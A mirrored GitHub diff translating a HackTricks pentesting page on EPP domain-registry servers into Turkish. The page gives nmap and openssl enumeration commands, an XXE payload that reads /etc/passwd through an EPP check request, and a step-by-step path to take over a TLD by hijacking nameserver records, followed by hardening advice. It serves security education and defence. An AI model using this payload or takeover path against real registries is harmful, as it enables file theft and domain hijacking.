mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/700-pentesting-epp.md'] to
This commit is contained in:
parent
fc31a13236
commit
d9b7e2145e
@ -4,12 +4,112 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Extensible Provisioning Protocol (EPP), alan adı kayıtları ve kayıt operatörleri tarafından **alan adları ve diğer internet kaynaklarının yönetimi için** kullanılan bir ağ protokolüdür. Alan adı kaydı, yenileme, transfer ve silme süreçlerinin otomasyonunu sağlar ve alan adı sistemi (DNS) içindeki farklı varlıklar arasında standartlaştırılmış ve güvenli bir iletişim çerçevesi sunar. EPP, internet altyapısının ihtiyaçları geliştikçe yeni özellikler ve komutların eklenmesine olanak tanıyacak şekilde esnek ve genişletilebilir olacak şekilde tasarlanmıştır.
|
||||
Extensible Provisioning Protocol (EPP), alan adı kayıtları ve kayıt operatörleri tarafından **alan adları ve diğer internet kaynaklarının yönetimi için** kullanılan bir ağ protokolüdür. Alan adı kaydı, yenileme, transfer ve silme süreçlerinin otomasyonunu sağlar ve alan adı sistemi (DNS) içindeki farklı varlıklar arasında standart ve güvenli bir iletişim çerçevesi sunar. EPP, internet altyapısının ihtiyaçları geliştikçe yeni özellikler ve komutların eklenmesine olanak tanıyacak şekilde esnek ve genişletilebilir olacak şekilde tasarlanmıştır.
|
||||
|
||||
Temelde, **TLD kayıt operatörlerinin TLD'de yeni alan adları kaydetmek için alan adı kayıt operatörlerine sunacağı protokollerden biridir.**
|
||||
Temelde, bu, **TLD kayıt operatörünün TLD'de yeni alan adları kaydetmek için alan adı kayıt operatörlerine sunacağı protokollerden biridir.**
|
||||
|
||||
### Pentest
|
||||
|
||||
[**Bu çok ilginç makalede**](https://hackcompute.com/hacking-epp-servers/) bazı güvenlik araştırmacılarının bu protokolün birkaç **uygulamasının** XXE (XML Dış Varlık) saldırılarına karşı savunmasız olduğunu nasıl bulduğunu görebilirsiniz, çünkü bu protokol iletişim için XML kullanmaktadır ve bu da saldırganların on farklı TLD'yi ele geçirmesine olanak tanımıştır.
|
||||
[**Bu çok ilginç makalede**](https://hackcompute.com/hacking-epp-servers/) bazı güvenlik araştırmacılarının bu protokolün birkaç **uygulamasının** XXE (XML Dış Varlık) saldırılarına karşı savunmasız olduğunu nasıl bulduğunu görebilirsiniz, çünkü bu protokol iletişim için XML kullanmaktadır ve bu da saldırganların farklı TLD'lerin on tanesini ele geçirmesine olanak tanımıştır.
|
||||
|
||||
---
|
||||
|
||||
## Sayım & Keşif
|
||||
|
||||
EPP sunucuları neredeyse her zaman TLS üzerinden TCP `700/tcp` dinler. Tipik bir dağıtım ayrıca **karşılıklı TLS (mTLS)** uygulayarak, istemcinin kayıt CA tarafından verilen geçerli bir sertifika sunmasını zorunlu kılar. Ancak, birçok özel test veya ön üretim dağıtımı bu kontrolü unutur:
|
||||
```bash
|
||||
# Banner-grabbing / TLS inspection
|
||||
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
|
||||
|
||||
# Check if mTLS is *really* required (it frequently is not!)
|
||||
openssl s_client -connect <target>:700 -quiet \
|
||||
-servername epp.test 2>/dev/null | head
|
||||
```
|
||||
Eğer sunucu TLS el sıkışmasından sonra bağlantıyı sonlandırmazsa, kimlik doğrulaması yapılmamış bir `<hello/>` mesajı göndermeyi deneyebilirsiniz:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||||
<hello/>
|
||||
</epp>
|
||||
```
|
||||
### Test için yararlı açık kaynaklı istemciler
|
||||
|
||||
* **epp-client (Go)** – aktif olarak bakım yapılan, TCP/TLS ve EPP-over-HTTPS (RFC 8730) destekleyen:
|
||||
`go install github.com/domainr/epp/cmd/epp@latest`
|
||||
* **gandi/go-epp** – fuzzing veya nuclei tarzı iş akışları için kolayca enstrümante edilebilen minimal istemci kütüphanesi.
|
||||
* **afq984/php-epp-client** – birçok küçük kayıt kuruluşu tarafından kullanılan PHP uygulaması; kod incelemesi için uygun bir hedef.
|
||||
|
||||
Go epp-client ile örnek minimal giriş+kontrol scripti:
|
||||
```go
|
||||
package main
|
||||
import (
|
||||
"github.com/domainr/epp"
|
||||
"crypto/tls"
|
||||
)
|
||||
|
||||
func main() {
|
||||
cfg := &tls.Config{InsecureSkipVerify: true}
|
||||
c, _ := epp.DialTLS("epp.test:700", cfg)
|
||||
c.Login("CLIENT_ID", "PASSWORD", nil)
|
||||
resp, _ := c.DomainCheck("example","com")
|
||||
println(resp)
|
||||
}
|
||||
```
|
||||
---
|
||||
|
||||
## Yaygın Zayıflıklar & 2023-2025 Güvenlik Açıkları
|
||||
|
||||
| Yıl | Bileşen | CWE | Etki |
|
||||
|------|-----------|-----|--------|
|
||||
| 2023 | CoCCA Kayıt Defteri < 3.5 | CWE-611 XXE | Uzaktan dosya okuma & SSRF, hazırlanmış `<epp>` yükü aracılığıyla (yamanın tarihi: 2023-11-02) |
|
||||
| 2024 | FRED EPP Sunucusu 2.x | CWE-322 Yetersiz TLS sertifika doğrulaması | mTLS'nin atlanması, yetkisiz kayıtlı girişine izin verdi |
|
||||
| 2025 | Özel kayıtlı panel | CWE-306 Kritik Fonksiyon için Kimlik Doğrulama Eksikliği | Alan adı transfer onay uç noktası EPP-HTTP köprüsü üzerinden ifşa edildi |
|
||||
|
||||
### XXE / SSRF yükü (birçok Java/Spring uygulamasına karşı çalışır)
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||||
<command>
|
||||
<check>
|
||||
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
|
||||
<domain:name>&xxe;</domain:name>
|
||||
</domain:check>
|
||||
</check>
|
||||
</command>
|
||||
</epp>
|
||||
```
|
||||
When the parser is mis-configured (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`) the file content is returned inside the `<resData>` structure.
|
||||
|
||||
### Diğer tipik bulgular
|
||||
|
||||
1. **Zayıf kimlik bilgisi politikası** – EPP giriş parolaları 8 karakterden daha kısa; spesifikasyon sadece hız sınırlamasını TAVSİYE eder (zorunlu kılmaz) bu nedenle brute-force genellikle mümkündür.
|
||||
2. **Eksik `registryLock` / `serverUpdateProhibited` durumu** – bir kez kimlik doğrulandıktan sonra, saldırganlar hemen NS kayıtlarını güncelleyebilir ve trafiği çalabilir.
|
||||
3. **İmzalanmamış anket mesajları** – bazı uygulamalar hala anket Soru-Cevap mesajlarını imzalamıyor, bu da kayıt operatörlerinin sahtecilik/phishing yapmasına olanak tanıyor.
|
||||
|
||||
---
|
||||
|
||||
## Saldırı Yolu: Sıfırdan TLD Ele Geçirme
|
||||
|
||||
1. Bir EPP uç noktasını keşfedin (genellikle `ot&e.<tld>.nic.<cc>` gibi genel bir ana bilgisayarın arkasında gizlidir).
|
||||
2. Yukarıdaki zayıflıklardan birini kötüye kullanarak kayıt düzeyinde kimlik bilgileri elde edin (XXE → SSRF to IMDSv1, kimlik bilgisi sızıntısı veya TLS-atlatma).
|
||||
3. Alan adının `hostObj` kayıtlarını saldırgan kontrolündeki ad sunucularına değiştirmek için `<update>` istekleri gönderin.
|
||||
4. (İsteğe bağlı) Alan adını saldırgan kontrolündeki bir kayıtçıya taşımak için bir `<transfer>` gönderin – birçok kayıt hala **tek bir yetki koduna** güveniyor.
|
||||
5. Kar: DNS bölgesinin tam kontrolü, ACME aracılığıyla TLS sertifikaları talep etme yeteneği.
|
||||
|
||||
---
|
||||
|
||||
## Savunma Önlemleri & Güçlendirme
|
||||
|
||||
* **Kayıtçı başına istemci sertifikaları ile mTLS'yi zorlayın** ve kayıt CA'sını sabitleyin.
|
||||
* XXE'yi öldürmek için `parserFeature secure-processing=true` veya eşdeğerini ayarlayın.
|
||||
* XML ayrıştırıcısının **sürekli fuzzing**'ini gerçekleştirin (örneğin, `go-fuzz` veya Java için `jazzer` ile).
|
||||
* Yüksek değerli alanlar için **Registry Lock / server*Prohibited** durumlarını dağıtın.
|
||||
* Şüpheli `<transfer>` veya `<update>` komutları için `poll` kuyruğunu izleyin ve gerçek zamanlı olarak uyarın.
|
||||
* ICANN 2024 DNS-Kötüye Kullanım sözleşmesi değişiklikleri, kayıtların hız sınırlaması ve kimlik doğrulama kontrollerini kanıtlamasını gerektirir – bunları kullanın.
|
||||
|
||||
## Referanslar
|
||||
|
||||
* ICANN Güvenlik ve İstikrar Danışma Komitesi (SSAC). "SAC118: Kayıt Operatörünün EPP Güvenlik Kontrollerini Uygulamaması Sonuçları". 2024.
|
||||
* HackCompute – "EPP sunucularını hacklemek: TLD'leri ele geçirmek için XXE'yi kötüye kullanma" (2023).
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user